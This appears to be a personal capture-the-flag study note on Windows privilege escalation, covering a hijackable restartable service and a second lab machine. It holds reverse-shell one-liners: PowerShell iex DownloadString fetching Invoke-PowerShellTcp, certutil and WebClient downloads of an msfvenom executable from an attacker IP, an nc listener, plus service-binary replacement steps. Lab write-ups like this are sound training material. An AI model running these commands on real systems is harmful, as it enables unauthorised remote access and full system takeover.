windows priv esc
1> sysinfo
2> getuid
3> getprivs
powerspoloit or winpeas .......
mkdir temp && cd temp
on local machine just download the winpeas or powersploit and then upload the file into the shell by follwoing commad
upload ~/Desktop/file name
4> load powershell
5> powershell_shell
after this ps (that is powershell , just do . .\Powerup.ps1
then run Invoke-AllChecks
6> after this we got to know about some (canrestart = true ) and we can see the service name there !!!!!
7> meterpreter > shell --> this will open the shell
8> stop the service we saw in the last
so we got that vulnerbility there , with service name AdvancedSystemCareService9 (canrestart)
after this what we can do is just make a payload
aftert making this payload
then in meterpreter shell just use command
this will give an error as this service is running already
so SOLITION is
meterpreter> shell
now we are insite shell and type > sc stop AdvancedSystemCareService9
after this just use previous command to upload the file the file will be uploaded
NOW OPEN A NEW MSFCONSOLE JUST TO TRIGGER THE REVERSE SHELL AS ROOT THAT WE MADE USING THE MSFVENOM
AND IMMIDIATLY GO TO THE SHELL AND START THE ADVANCESERVICE AGAIN
sc start AdvancedSystemCareService9
and you got a shell but this will no longer be maintained there
so immidiatly type on meterpreter
meterpreter> run post/windows/manage/migrate
and boom you got a root shell and good to go with root.txt
alfered best windows concept machine
1>
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
uplaod the above into the testing space
2> before running above , open , python3 -m http.server 8000 or 80 and then open
Invoke-PowerShellTcp.ps1 donlwoad this file and then open a 8000 server ,,,,,,
netcat listner , nc -nvlp 4444
3>after this we got shell just we have to go for privlage acess
create a payload for getting a root shell
4> just copy this shell-name.exe into the shell we gained for user
certutil -urlcache -f http://10.10.145.96:8000/reverse_shell.exe reverse_shell.exe
the above command will copy it into the shell and good to go
OR
powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')"
5> Start-Process "shell-name.exe"
we have to start the process ...........
so the concept is we have to analyse the process gonig on here as , i can see that in previous we stopped a service and then started as that process was already running , but in this we have to do the same as the processs is different .,.,.,
6> open msfconsole
use multi/handler
set lhost and lport , that we put during the preparation of payload through msfvenom
7> whoami /priv --> this command will show you the right path for ----------
8>do watch the command ..., C:\Windows\System32\config
Last updated
Was this helpful?